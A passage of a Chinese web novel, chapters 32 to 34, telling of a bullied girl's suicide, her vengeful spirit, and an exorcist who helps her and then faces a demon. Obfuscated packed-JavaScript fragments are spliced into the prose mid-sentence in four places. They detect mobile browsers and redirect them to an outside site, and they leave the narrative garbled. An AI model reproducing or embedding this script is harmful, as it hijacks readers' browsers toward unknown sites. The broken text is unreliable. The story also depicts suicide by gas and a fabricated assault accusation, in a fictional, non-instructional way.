毫无疑问,李秀娟躲开了,但她的衣服被姚雪菲的剪刀尖带得撕开了,于是她对姚雪菲的行为感到空前绝后的愤怒。 而姜满却在看见李秀娟心口露出的皮肤时,眼神一凝。 但她什么都没说。 在李秀娟看来,她自己有着不可估量的未来,她绝不会让自己背上杀人的罪行,所以,除了她泄愤用的殴打,还有她能想到的一切凌辱,随后,为了发泄这滔天的愤怒,她却只用姚雪菲的剪刀剪掉了姚雪菲的头发。 李秀娟觉得,自己过分仁慈了。 “实话告诉你吧。”李秀娟支开了她的跟班,蹲在被打得奄奄一息的姚雪菲面前,俯视着她,“你爸当初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867954|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是因为发现了我去偷期末考试卷,才背上黑锅的,我也没办法,我必须去县城上初中,他抓到我偷试卷,还想宣扬出去,为了我自己,我只能冤枉他了,要怪就只能怪他太蠢,而你,不愧是他的女儿,和他一样蠢。” 绝望的姚雪菲看着李秀娟扬长而去,指尖深深嵌进泥土地里。 她真的好恨! 原来一切都是因为李秀娟!全部都是因为李秀娟! 姚雪菲失魂落魄的回到家,她什么都没有了,亲人、尊严、清白以及一切…… 她仔细帮妈妈擦拭身体,给妈妈梳头发,帮妈妈换上干净的衣服,然后,她自己也洗了个澡,她已经很久没有买新衣服了,所以,她穿上了校服,接着,她打开了煤气,顶着那头如草窝般的头发,静静躺在妈妈身旁,和妈妈一起,离开了这场噩梦。 我叫姚雪菲,我要,找李秀娟报仇。 …… 看完这一切,姜满缓缓深吸了一口气,然后长长呼出,像是想把心里的烦躁和不快全部顺着这口气吐出去。 有意思,这场漫长又令人窒息的记忆,竟然让她看到了一些有趣的东西。 李秀娟,不,李妆娇的心口,竟然有一瓣淡黄色的菊花花瓣纹身,细长如丝,正是十丈珠帘。 看来,李妆娇的好运,和这个“碧虚”会所,脱不了干系。 “我全部都告诉你了,你怎么帮我?”姚雪菲平静地看向姜满,问道。 姜满的手里不知何时多了一颗核桃,她把核桃放进了布袋子,然后迎上姚雪菲的眼睛,“除了让她死,你希望她得到什么惩罚,说吧,无论什么,我都能做到。” 姚雪菲笑了,“果然,让她死太便宜她了吧……”她的笑容渐渐淡去,“可是,我想起了一切,我想起我的每一个仇人,那些记者,那些帮凶,那些侮辱、折磨过我的人,他们通通,都该死。” 姜满看着她,“你把他们全都杀了,然后呢?” “我不要什么然后!我只要报仇!我要让他们尝尽我所尝过的所有痛苦!一报还一报!很公平!” 姜满摇摇头,耐心的说道:“不,有然后。凡事都有因果定数,你杀了那些人,他们死亡带来的恶果都要你来承受,他们的恐惧、不甘、怨恨,他们家人的悲伤、不舍、怨念……这些果会慢慢寻找它们的因,如果你不插手,属于李秀娟的报应一个都不会少,一旦你动手,李秀娟的报应就会分到别人身上,比如杀人的你,比如一样是受害者,却是间接使你恨意无限放大的,你的家人。” “家人?我没有家人了,他们都死了。” “你知道,死亡不是结束。” 姚雪菲眼睛很红,那里面是巨大的恨与怨气,她尽可能让自己冷静,“可那些人,他们束缚住了我,只有杀光他们,我才能自由。” 姜满轻声说道:“自由不是别人给的,只有自己才能给自己自由。” 她看向远方天边的晚霞。 “我不会劝你放下,但李秀娟一个人就够了。 “我曾经和你做过一样的选择,不过我比你幸运,我只看到了一个仇人,我杀了他,但后来,我很后悔,因为死,太便宜他了。 “我不希望你后悔,你可以好好想一想,如果你想不到,我可以帮你想,然后,我会送你离开,让你真的永远告别这场噩梦。” 姚雪菲没有说话。 姜满轻轻吐了一口气,继续道:“姚雪菲,当你离开此刻的幻境,你将不会再有这样清醒的理智,那时的决定,是一个怨灵的决定,但现在,你是姚雪菲,撇开外界的一切,你要记住,你首先是你自己,作为姚雪菲,好好想一想吧。” 她今天的话说得足够多了,她真心希望,这个姑娘不要一意孤行,害了她自己。 沉默良久,姚雪菲缓缓开口,“好,我不要她死,但我也不想她活。” “嗯,我答应你,我会尽力。”姜满从不轻易承诺,她站了起来,朝姚雪菲伸出手,“走吧,该结束这场噩梦了。” 32. 第一座山(32) 红色的帷幕缓缓合上,聚光灯渐渐熄灭,完美谢幕的李秀娟站直了身体,她闭着眼享受着帷幕外传来的掌声,迟迟没有退场。 这舞台应该是属于她一个人的,这世界都应该是属于她一个人的。 从出生开始,她就是那么特别。 与村里其他孩子不同,她出生在县城最好的医院,家里所有人都无比期待她的降生,因为母亲的孕象怎么看都是怀了个儿子,后来,尽管她是个女孩,并不如家人预期的那样,但她真的很漂亮,所有人都爱她。 她多么特别,在如此重男轻女的地方,她却是家人的宝贝。 随着她慢慢长大,她更发觉自己的与众不同,只要是她想要的,几乎没有得不到的。 她漂亮、聪明、学习好,而且,她很会讨大人开心,她觉得自己天生就具备一种能力,知道旁人爱听什么,知道怎么让别人更喜欢她。 不过,那时的她接触的人,也只是在那个村子而已。 她读小学三年级时,村子来了一个城里的老师,老师也喜欢她,但是,随着学习难度的提升,心思更多花在打扮上的她,成绩不再那么优秀了,她感觉得到,老师也不那么喜欢她了。 城里的舅舅告诉她,初中至少要去县城最好的中学读,才有可能往城里发展,必须去城里,才能被星探发现,做明星。 做明星能挣大钱,还能在电视上表演,她从小的梦想就是做明星,她早就已经是村里的明星了,可这远远不够。 她找到那个城里来的老师,希望他帮帮她,让她能去上县城最好的中学,但老师却说初中是按学区划分,他无能为力,除非她的学习特别好,他或许能尽力帮忙推荐一下,可是…… 李秀娟很生气,在这个老师的身上,她头一次体会到挫败感。 回想起来,姚老师对每个学生都一样,并不特殊待她,他怎么可以不特殊待她?她是那么讨人喜欢……他明明可以直接推荐,偏偏还要找那么多借口,就是为了拒绝她! 没关系,她想到了更好的办法,她和姚老师约定,期末考试考到全班第一,姚老师就帮她。 于是那天晚上,她去偷试卷了,但很不巧,竟然被加班的姚老师撞了个正着。 她也是没办法,她从没想过害别人的,至少那个时候真的没有,可是姚老师太生气了,她也太害怕了,那一瞬间,她大脑一片空白,过去看过的电视剧和新闻画面快速闪过,鬼使神差一般,她尖叫起来。 事情的后续发展完全超出了李秀娟的意料,闹得太大了。 出于害怕,她告诉了妈妈真话,妈妈听完,却什么都没说,然后,妈妈打电话告诉了舅舅。 妈妈叮嘱她,必须咬死了,她就是被姚老师侵犯了,当天被姚老师留在学校,姚老师声称要帮她补课,然后直到天黑,她才知道是被骗了,还发生了那样的事。 这件事必须让它变成真的。 第二天,舅舅带着城里的记者来了。 原本只是在村子里乃至县城周边发酵的事,因为记者的那个黑色的大机器,宣扬得人尽皆知。 李秀娟也上了电视,尽管没有露脸,但当天,家里人围着电视看着那个新闻,笑得其乐融融,夸赞小娟天生就是明星。 后来,姚老师自杀了。 她很害怕,她只是想要保住自己,没想要人死的。 可是,这件事让她上了电视,还让她们村贫困的孩子都得到了城里有钱人的资助,村里人同情她的同时,也很感谢她。 时间一天天过去,什么都没有发生,而她也因为那件事获得了更多。 后来,她终于上了理想的初中,她发现,学习真的太难了,可是她还要去市里上高中,这样下去怎么办? 她想起了记者的那个大黑机器,可以把现实中的画面拍下来,放到电视上,甚至可以逼得姚老师自杀…… 在她无休止的哭闹之下,家人终于借钱,给她买了一台相机。 这之后,一切都变得无比容易。 直到……姚雪菲竟然是姚老师的女儿!这个贱人! 不过,这一切都不重要,只要顺利的通过艺考,她就能读戏剧学院,就能成为明星!像今天一样,不,比今天更好!她会成为唯一的那一束聚光灯,会成为所有人瞩目的焦点! 舞台上的李秀娟仰起头睁开了眼睛,一片花瓣落在了她的脸上,软软的、凉凉的,她伸手取下花瓣,还没来得及细看,漫天花瓣雨纷纷而至。 是菊花花瓣,浅黄色的、细长的…… “充满欲望的人啊,你是那样可爱,所以‘碧虚’满足你,只要你付出小小的代价,你将会拥有旁人难以企及的运气。” 一个声音从音箱中传出,回荡在空旷的礼堂,是个男人的声音。 必须满足她?运气?什么骗人的把戏!这么多菊花,可真是晦气! 李秀娟扔掉了手里如丝般细长的花瓣。 一阵微风拂过,那片花瓣又回到了李秀娟的手里,她有些惊讶,也有些害怕,正要发问。 帷幕缓缓拉开…… 光束聚焦在她身上,偌大的舞台仅她一人,刚刚还座无虚席的台下,此刻也是空空荡荡。 “把它放在你的胸口,虔诚起誓:你将效忠于‘碧虚’。然后,你将会得到你想要的一切。” “好笑!我又不是傻子!还让我得到我想要的一切……你是神仙吗?搞什么鬼把戏!快滚出来!”李秀娟再度扔掉了手里的花瓣。 那个声音笑了起来,“你有一天的时间可以考虑,明天的这个时候,你依然选择不信,那么珠丝不复,你与‘碧虚’无缘,从此——” 那声音戛然而止,李秀娟眼前一晃,帷幕依旧是拉上的,帷幕外是主持人在说话,旁边的台后暗处,有人在叫她,她醒过神来,赶紧朝台旁去,待会儿还要和那些分享了她荣耀的贫困生们一起上台合照。 匆忙站定,李秀娟忽然觉得有些不对劲,她低头看向自己的掌心。 那里躺着一瓣如丝般细长的菊花花瓣,浅黄色的,正是方才晃神时被她扔掉的花瓣。 帷幕拉开,台下不再是观众,而是一条如蛇般蜿蜒的林荫小路,路旁灌木深深,还有整齐的……应该是松树。 李秀娟坐在七座商务车上,她从不知道,面包车可以这样豪华,座椅柔软,车内温度舒适,空气中还有迷人的香气,是,这是金钱的味道。 走进归山集团老板的家里,她从未见过这样的家,像是公园一样,有数不清的房间,古色古香,有庭院,庭院后还有一栋更高更大更漂亮的房子,她想象不到,住在这样的地方,该有多快乐。 她没有见到薄总,接待他们的是负责归山集团慈善活动的负责人,但她见到了放学回来的薄总的儿子,归山集团公子。 他对她笑了,而且她很确定,他的目光和她对上了。 但是,他竟然先看的,是姚雪菲!坐在她身旁的姚雪菲。 是她的,这一切都应该是她的! 这一夜,回到宿舍的李秀娟没有睡好,她手里那瓣花丝也很不寻常,明明一直握在手心,却连一点破损都没有。 最终,她抱着随便试试的态度,把花丝放在心口,虔诚起誓。 她是真的虔诚,虔诚的希望她能得到她想要的一切。 花瓣消失了,她惊恐地发现,自己心口竟然多了一道印记,像纹身,却不疼,无论她怎么搓洗,心口那瓣和她先前手里握着的花瓣一模一样的印记,完好无损。 宿舍很安静,床铺的四周忽然出现了五扇门。 - 麓川医院门诊楼,一个穿着旗袍的明艳女子收起手中的黑伞,推开玻璃门,走了进来,吸引了无数目光。 女子长发及腰,圆脸小巧精致,妆容得体,秀眉微扬,眼神带着目空一切的傲慢,她穿着珍珠绣面的白色旗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薄临也看向姜满,轻轻点头,“她不会变,自然还是她。” “你放心,我演技很好,绝对不会被姜姐姐看出一点问题!”她收起手机,好奇地问道:“现在这是在干嘛?” “收拾一颗早就没用的棋子。” 薄月踮起脚,伸长脖子看了看,“那是……你之前让人资助的李秀娟?” “嗯,改名了,现在叫李妆娇。” “妆娇?什么怪名字……当初你选她不就是为了问姜姐姐一个问题吗?问过了?” 薄临点点头,“嗯。” 薄月撇撇嘴,“我一直都想问你,为什么要让这个人去家里吃饭,还不止一次,让她得意忘形,这不是多此一举吗?这种人,你什么都不做,她也会生出贪欲的。” “在那场慈善活动上,她被‘碧虚’看上了,你应该知道,除了恩人,我不喜欢我周围任何人身上出现不确定的事。” 薄月这次是私自回国,不知道哥哥此言是不是在点她,她有些心虚,小声嘀咕,“为了这理由保护这个女人,真是便宜她了,让她成为碧虚的棋子才好呢!” 薄临并未说什么,他的目光一直落在姜满身上,笑了笑,道:“你猜,你的姜姐姐会怎么惩罚她?” “杀了她!”薄月话音刚落,自己又摇了摇头,“姜姐姐应该不会再这么冲动了……” 薄临没说话,他很清楚,上一次杀人,姜满并不是冲动。 薄月继续猜到,“那……姜姐姐应该会直接把这个李秀娟整疯!” 薄临轻轻摇头,“她不会。” “可是哥,你不怕姜姐姐她,像以前一样,被这些事……”薄月有些担忧地看向薄临。 “放心,我不会让她重蹈覆辙的。”他的头更低了些,看向手里手机上新跳出来的信息,帽檐遮住了脸,看不清表情。 他不会让她动手,但也是真不想让那个人再出现,即便他知道,她会很高兴,可也正是因为知道她会高兴,所以才不想让那个人出现,只是,随便处理,日后怕是麻烦,唯有…… 不过……他总有些隐隐的不安,他的自信早在一次次的轮回中,逐渐有了他自己都并未察觉的磨损。 33. 第一座山(33) 姜满牵着姚雪菲走出了那片林子,然后带她回到她噩梦开始的那个家。 站在家门前,姜满对她说:“进去吧,里面是我送给你的礼物。” 在这个五方镜的世界,术主姜满的声音像是充满了蛊惑人心的力量,让人平静,让人安心。 姚雪菲点点头,推开了家门,随着她迈入家门的脚步,她的身体在一点点变小,然后变成了一个十岁的小女孩,这时,她的爸爸还没有去山村支教。 这是姜满送给她的一场美梦,现在,怨灵记忆已得,姜满要去找张云汉了。 姜满作为一个过来人,擅自做主,并不打算让姚雪菲亲眼见证报应,何况,她到底是怨灵,在五方镜幻境中见证的报应,算什么报应。 对于受害人来说,亲眼见到那个凶手得到报应,或者亲手让凶手得到报应,都不是一件好事。 人们常常只能看见眼前的事,像个哭闹打滚只为了得到玩具的孩子,得到了,喜笑颜开;得不到,过一段时间,也就忘了。 不同的是,成年人更会掩饰内心,他们不会哭闹打滚,且得到或得不到带来的情绪,藏的更深,时效更久。 但,这个“玩具”带来的,始终都是情绪。 如果“玩具”带来的情绪足够大,填满了整颗心,围绕着生命的每一分每一秒,烙印在灵魂上,那么情绪满足后抽离的空虚,会像抽丝剥茧,在漫长的人生里,把这个人彻底掏空,推向真正的万劫不复。 就像姜满,她用了那么长时间都无法填补那种巨大的空虚,死去的人不会回来,受到的伤害不会消失,那些自责、悲伤、痛苦不仅不会因为凶手的死亡消减半分,甚至会因为仇恨的抽离,变得更加清晰明确。 直到张信德找到她,才给了她新的寄托。她要为死去的家人好好活着,她必须记得他们,百年之后方得再见。 她要记得他们,所以,绝对不能成[空],至少还有六十八年,绝对不能失误。 可是阿卓…… 已经回到五扇门中的姜满,看向那扇白色的门,这里面,是张云汉。她知道,现在才是真正意义上的超度,与上次的阿福不同,这次如果成功了,就意味着她真的掌握了超度之法,如果失败……不,不会失败。 可阿福那次,她还是太草率了。 她抬起头,转而看向了已然反转到头顶的巨大镜面。 那天在落洞村老夫妇家的房间里,她已经来过这里一次了,她开启了五方镜,然后,张信德的身影从五扇门中走出,五个一模一样的他重叠之后,开始说出了他留给她的话。 ——五方镜能交到你手上,想必张云汉这孩子你还算满意,和你相处的应该不错,也说明了玄人界已经尽知你是长生者的秘密了。 姜满,你知道玄人修行是为了什么吗? 为了成为你。 你总是不信你是仙,世人攘攘皆为生,玄人攘攘为长生,无论是人还是玄人,皆为利往。长生是仙,所以,从这一刻起,我已经没办法再帮你了,你以为天一道是困住你的囚笼,但其实离开天一道,才是你受困的开始。 不过我猜,你依然不信,没关系,你会信的。 至于我的去向,如果你还愿意回天一道,可以去我办公室地下的住处看一看,等你解开我留给你的字谜,你就知道我为什么一定要查你的身世,又为什么要保护你了。 到时候,你就明白你到底该相信什么了。 我要说的就是这么多,如果能再见,我会很高兴,如果不能,也没关系,我已尽人事。 最后,对张云汉好点,他是个好孩子。 字谜……姜满没什么兴趣,她觉得张信德一如既往喜欢说废话,费劲周折地搞这么复杂,把他自己的影像声音存在五方镜里,也是为了说一堆废话。 唯有最后一句,对张云汉好点,倒是一句很合适的建议。 推开了那扇白色的门,姜满看见了张云汉曾经待过的佛寺,此刻,他正坐在一座大得离谱的钟上闭目打坐。 姜满踏空而去,然后坐在了张云汉身旁。 本就无法入定、惴惴不安的张云汉,察觉有人靠近睁开眼,看向姜满,“大长老?” 姜满看了看他,然后看向山野之外的天边,“张云汉,我,杀过一个人。” 张云汉有些惊讶,他眨了眨眼睛,却不知道她此言何意,于是沉默着等她继续说下去。 “也许你并不值得信任,但是你毕竟是个好人,所以,如果有一天,你找不到我了,帮我做件事。” “什、什么事?”张云汉感觉有些不妙,他觉得大长老像是在说遗言。 姜满笑了一声,“你不用紧张,不是什么大事,我也不会死。”她看向手中的布袋子,轻声说道:“如果有一天,你找不到我了,每年的清明节,帮我找个地方,多烧些纸钱,祭拜七个人。” “七个人?你……您不是只杀了一个人吗?” “嗯,那七个人是我的家人,我杀的那个,是凶手,屠我家满门的凶手。” 张云汉瞪大了眼睛,惊得说不出话来。 姜满收回飘远的眼神,低头看向张云汉放在膝头的手,拿起他一只手,在他手心缓慢的写字。 满克钧、满高氏、满文卓、满文才、满文静、张威、张小宝。 “记住这七个名字。” 张云汉咽了咽口水,点点头,“我、我记住了。” “嗯,如果我不见了,也别来找我,即便你找到,那个人也不是我了。但是每年清明节的祭拜,千万别忘了,你,和你的子孙,不管是谁,从明年算起,至少再维持六十八年,你要是做不到,我自有办法让你长记性。” 张云汉意识到这件事的重要性,于是郑重点头,随后清了清嗓子,“那个……大长老,您为什么会不见了?” 姜满并未回答,抬手一挥,五扇门重新出现在四周,她指着其中一扇门,对他说道:“我要出去一下,待会儿你就打开这扇门,进去之后,用你的本事帮帮那个叫做姚雪菲的姑娘,好好超度她吧。” 张云汉还想再问什么,眨眼间,大长老已经消失在他面前。 刚刚在这里的时间,他总算想明白了,姜满喊薄临出去上厕所,交代的那件所谓的“考核”,应该就是五方镜设阵,这样,陷入幻境之中,谁都不会受伤,也没人能动手伤人。 他原以为大长老来找他,会说一些关于书韫妹妹的事,却没想到她说了这些,七个人……家人…… 在这个世界上,聪明人总是充满好奇心的,张云汉一直觉得自己是个聪明人,此刻的好奇心也达到了前所未有的高度,可惜,他目前没办法满足自己的好奇心。 现在,他要去找那个叫姚雪菲的姑娘了。 姜满睁开眼,病房里的程书韫已经解开了缠在她脖子上的绳子,正在猛烈地咳嗽,五方镜的世界是幻术凝结,照出人心,时间过得自然是比现实世界快的。 她收回视线,拿出包里的手机,打给了薄临。 正对着病房窗户的薄临接起电话,“恩人,结束了?对我的考核,算通过了吗?” 姜满看向窗外的薄临,自然也看到了他身旁的薄月,但她似乎并不关心那个白旗袍的姑娘是谁。 她笑了笑,道:“还没有结束,有一件事需要你知道并履行——如果,张云汉告诉你我不见了,那么,你需要做的,就是帮姚雪菲报仇,算是赎罪。毕竟,你也是李妆娇的帮凶,不是吗?” 薄临微微一愣,“帮凶……”他低下头,轻声问道:“你为什么会不见了?还有,我要如何报仇?” 姜满脸上笑容更甚,“你能查出别人的背景,给我那么厚一堆资料,也没有问我姚雪菲的仇是什么,那么,李妆娇对姚雪菲做过什么,对姚雪菲的家人做过什么,你必定一清二楚,既然视若无睹了这么多年,如何赎罪,自然是你自己要考虑的事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888445|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看向病床上的李妆娇,然后嫌恶地撇开目光,继续道:“我觉得你能做好。至于我为什么会不见了,这与你无关,也不妨碍你继续跟张云汉一起,进行你喜欢的,想要的,所谓的‘冒险’。” 薄临抬起头,隔着玻璃看向姜满,微笑道:“好,我答应你。” 他想,她到底是因为信任才把姚雪菲的仇托付给他,还是因为真的觉得他是帮凶?没关系,以她的性子,现在不完全信任他也是正常的,不过,很快,他就会让她完全的信任,他必须有耐心,至少对她,要有足够的耐心。 姜满“嗯”了一声,挂断了电话。 收起手机后,她看向已经缓过来的程书韫,嘴角扬起浅笑,道:“还有一点时间,想跟姐姐说的话也不多,无论姐姐你是怎么想的,我还是想替张云汉说两句,他很喜欢姐姐,但那小子害羞,他不敢说,相信姐姐也不是看不出来他的心思,所以,可以还是不可以,都尽早给他一个答案吧。” 程书韫捂着被勒出青印的脖子,还有些咳嗽,看向姜满时,脸上神情有些错愕。 姜满笑了笑,正要再开口,忽然感觉到了什么,神情凝滞在脸上。 留在五方镜幻境中的三人,只剩两个了。 张云汉已经超度了姚雪菲。 已经…… 姜满攥紧了那个布袋子。 她的心跳好像落空了一拍,继而沉沉地起伏,整个人如同沉入海底,无形的水压压迫住了她的胸口,让她呼吸困难,紧接着,脑中像在放电,“嗞”的一阵嗡鸣,然后是沉重的心跳,一下下撞击着耳膜。 没关系,没关系,这次总比阿福那次准备充分,哪怕……哪怕失败,哪怕成[空]也—— 【三千怨灵,叩谢[空]主姜氏,破除之法:需度化怨灵两千九百九十八。】 [空]音回响在姜满的脑海,她忍不住退后了几步,直至后背轻撞在墙上,继而整个人靠住墙,缓缓闭上眼,重重抒出一口气。 成功了。 完全,成功了。 短暂的平复,她睁开眼,深深看了一眼手中的布袋子,随即将它收好,然后双手结印,切断了五方镜链接病房的灵能。 门边的张云汉醒过神来,睁眼看见了姜满,不由松了口气。 “大长老,事儿办成了。” 姜满此刻心情极好,微笑点头,“嗯,我知道,做的不错。” 张云汉有些疲惫,但比上次超度阿福和他爸爸两个要好很多,“您以后要做什么能不能提前知会一声,我也好有个心理准备,我也不是不能做事的人,何必瞒着我呢?” 说着,他看见了坐在地上的程书韫,赶忙过去扶她,“书韫妹妹,你没事吧?这儿就是医院,我先带你去挂个号,看一下吧?” 他看向病床上的李妆娇,心下觉得,得带着他的书韫妹妹离这个女人远一点。 程书韫在张云汉的搀扶下站了起来,她不经意看了姜满一眼,随即点头,“好,你陪我去挂号看医生吧。” 有些话,确实得说清楚了。 二人离开病房,姜满朝佯装没醒的李妆娇走去,伸手扯开她的领子。 李妆娇皱起眉头睁开眼,抓住了姜满的手,“你这个疯子!你干什么……” 可她这点力气,在姜满面前就如蚍蜉撼树。 姜满面无表情,看都没看她一眼,目光带着探究朝扯下的领口看去。 见到了她心口那条如丝般细长的淡黄色花瓣印记,姜满扯住她衣领的手顺势将她按住,然后另一手指尖迅速虚划过她的双眼。 李妆娇拼命挣扎,可她“失血过多”、“断肢”处又剧痛无比,她实在太虚弱了,她不知道姜满对她做了什么,当指尖虚划过她双眼的时候,她的脑袋开始变得昏昏沉沉,意识也变得有些模糊。 姜满松开手,勾起嘴角,替她整理好敞开的、皱巴巴的衣领。 “李妆娇,欢迎来到你的噩梦。” 34. 第一座山(34) 这场倾盆大雨已然停了,树梢屋檐还滴着水,地面湿漉漉的。 凉亭里的薄临打电话通知了孔青,然后和薄月一起,走进了病房。 “恩人,对我的考核算通过了吗?” 姜满看了一眼失去意识的李妆娇,接过薄临递过来的手帕,一边擦手一边说:“嗯,做的不错,先帮她办理出院,我要回檀州。” 薄月秀眉微蹙,撅着嘴,有些生气道:“你什么态度!一点礼貌都没有!你就是我哥说的那个大师?不过是个小丫头片子嘛!你是不是欺负我哥脾气好骗他呢?你知不知道我哥是谁?你怎么能用这样的语气跟他说话?” 姜满的视线移到了薄临身旁的薄月身上,只看了一眼,然后毫无反应,低下头从包里取出了薄临给她的文件袋,兀自看了起来,并不打算搭理这个娇蛮的小姑娘。 “薄月。”薄临出声,看了薄月一眼,随即向姜满介绍道:“这是我妹妹,薄月,才毕业没多久,刚回国,家里人宠坏了,你别见怪。” “嗯。”姜满头都没抬,“我只答应带你,你妹妹与我无关。” “你什么态度!谁稀罕你带!我自己没有腿吗?有什么了不起——” “薄月!”薄临的语气重了一些。 薄月撇撇嘴,没再说话,却不忘气呼呼地瞪着姜满。 薄临把她拉到身后,示意她别再开口,然后走到姜满身旁,“你还会消失吗?准备什么时候离开?姚雪菲的事……” “她的事暂时不用你动手,既然我还在,而且答应姚雪菲帮她报仇的人是我,我亲自安排。”姜满翻动着程书韫的资料,看得仔细,口中不忘回答,“我暂时还不会消失。” “好,那有什么我能做的你尽管提,你说的话我仔细想过了,我的确需要……赎罪。” 姜满眉头逐渐蹙起,紧接着合上了还没看完的资料,装起来放进了包里。 “不太妙啊……” “什么?” “那小子恐怕……要失恋了。”姜满嘀咕着,随即看向薄月,“妹妹多大了?” 薄月眨眨眼,“二十二,怎么?你比我大?凭什么叫我妹妹……” 姜满点点头,“有男朋友吗?” “干什么?”薄月皱起眉头,“关你什么事?” 姜满低下头,不知在思索着什么。 不一会儿,门外传来声响,紧接着,孔青推着空轮椅走了进来。 “这外面怎么一个人都没有?精神科住院部,这不合常理吧……”他一边走一边指着病房外面对屋内几人说道。 姜满抬头看向孔青,“你说什么?” 孔青站在门口,又探出身子朝外面看了一眼,而后看向几人,“这外面一个人没有,护士、医生、病人……一个人都没有。” “对啊,我们刚刚进来也没看到人。”薄月点头应道。 薄临看着姜满,“怎么了?有问题?” 姜满闭上眼,忽然,把食指竖在唇边,“嘘——” 病房内众人本能地噤声,仔细听了起来。 雨后的医院不算安静,绿化枝叶上的水滴落、汽车行过湿漉的柏油路面、空调外机、病人和家属走路推车或交谈……一切的声音,都在这栋楼外面,楼里没有任何声音。 姜满睁开眼,“来了。” “什么来了?”薄月皱眉不解。 门边的孔青再度朝门外看去,神情变得有些惊讶,“是来了,不止一个。” “谁来了?你们在打什么哑——” 姜满打断了薄月,“捂住口鼻,到我后面去!别乱跑!”她打开薄临给她的手帕,蒙住脸,快步走到门边,把孔青拉到身后。 病房外的过道,远远的,有一个黑褂子瞎眼老头,拄着树枝做的拐杖,步履蹒跚,略显吃力地朝病房走来。 姜满眯起双眼,有些意外。 这老头她认得,但是,老头的肩上竟然扛了一个人——阿兹日拉。 “姑娘,是你吧?你的味道很特别,老朽闻得出来。”这个出现在去落洞村山路上的菌子怪老头走近后,笑了笑,又道:“老朽的布袋子,好用吗?” “怎么?你是来要回东西的?”姜满打量着他。 老头摇摇头,“老朽太饿了,循着味儿就过来了,你把那闻起来极美味的姑娘给老朽,布袋子和这个人,都给你。” “我要是不给呢?”姜满当然不会松口。 老头笑了,露出一口黑牙,“姑娘,话别说的太早,你眼神好,不像老朽是个瞎子,不如,你再仔细看看我带来的这个人?” 姜满皱起眉头,看向老头肩上的阿兹日拉。 此时,不知是不是那老头使了什么妖法,昏迷中的阿兹日拉动了动,闭着眼睛,口中呓语着:“……阿满……阿满别哭……阿满……” 姜满听清了声音,瞳孔骤然放大。 那一瞬间,她从未有过的慌了神,她扶住了门框,随即稳住身形,目光紧紧盯着阿兹日拉。 她自然没有留意到,身后李妆娇的病床旁,薄月轻轻拉了拉薄临的衣角,把手机递给了他。 手机打开在便签界面,写了四个字:是你干的? 薄临摇摇头,顿了顿,又点点头。 姜满此刻极力平复心神,她很清楚,这事不对。 是阿卓。 是阿卓! 难道是老头的幻术?对,这老头是妖怪啊……可是,他怎么会知道“阿满”?怎么会知道“别哭”?怎么会觉得这个人对她很重要…… 九黎寨已经没了,她最害怕的,就是阿卓也跟着一起消失无踪,如果眼前的阿卓是真的……可是阿卓怎么会附身阿兹日拉?阿兹日拉并不是合适的器皿啊!难道……那天捅她刀子的那伙人还在山里,然后早上阿兹日拉送自己几人坐车后返回路上遭遇暗算……是那些什么仲玄干的? 可是,这老头又是什么人?难道也是仲玄的一份子? 似是怕姜满不信他,老头再度开口了,“姑娘,老朽看不到你的梦,但是看得到他的,实不相瞒,他是老朽抢来的呵呵……所以,别犹豫了,布袋子和他,换老朽一顿饭,很划算啊!” “抢?” “是啊!费了老朽好大一番功夫……” 姜满笑了,“你能抢,你怎么知道,我不能?” 老头闻言,神情变得不太好看,苦着脸道:“这就是你不讲理了,老朽只是想吃点东西,也不是白拿,老朽实在不明白,那姑娘有什么好?你就这么护着她?” “你不是人,但我要告诉你一句人间广为流传的话:好人不长命,祸害遗千年。祸害当然不能这么容易就去死,也不能死得这么舒服,至于我,也活了那么久了,当然也不是什么好人,你和我讲理,没有用。” 姜满取出剪刀,划破指尖,准备布下护灵阵,然后……抢人。 屋内的薄月和孔青齐齐看向薄临,薄临深吸一口气,闭上了眼睛。 他早该想到的,那么多次了,他实在不该如此自信,原本他以为用这个阿卓一定能解决掉李妆娇这个麻烦,但这一次的她,早就已经逐渐超出他的预料,她还是她,但不完全是她了,或许是因为她看了太多现在的那些五花八门的书,也或许,这一次,她遇到了满家那些人…… 应对现在的她,的确不那么容易,要瞒过她;要逐步取得她的信任;要让她捕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902982|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获三千段刻骨的记忆;要…… 不过,没关系,也许这样,才更有趣。 薄临睁开眼,朝薄月和孔青笑了笑,示意他没事,然后缓缓看向病房门口的姜满。 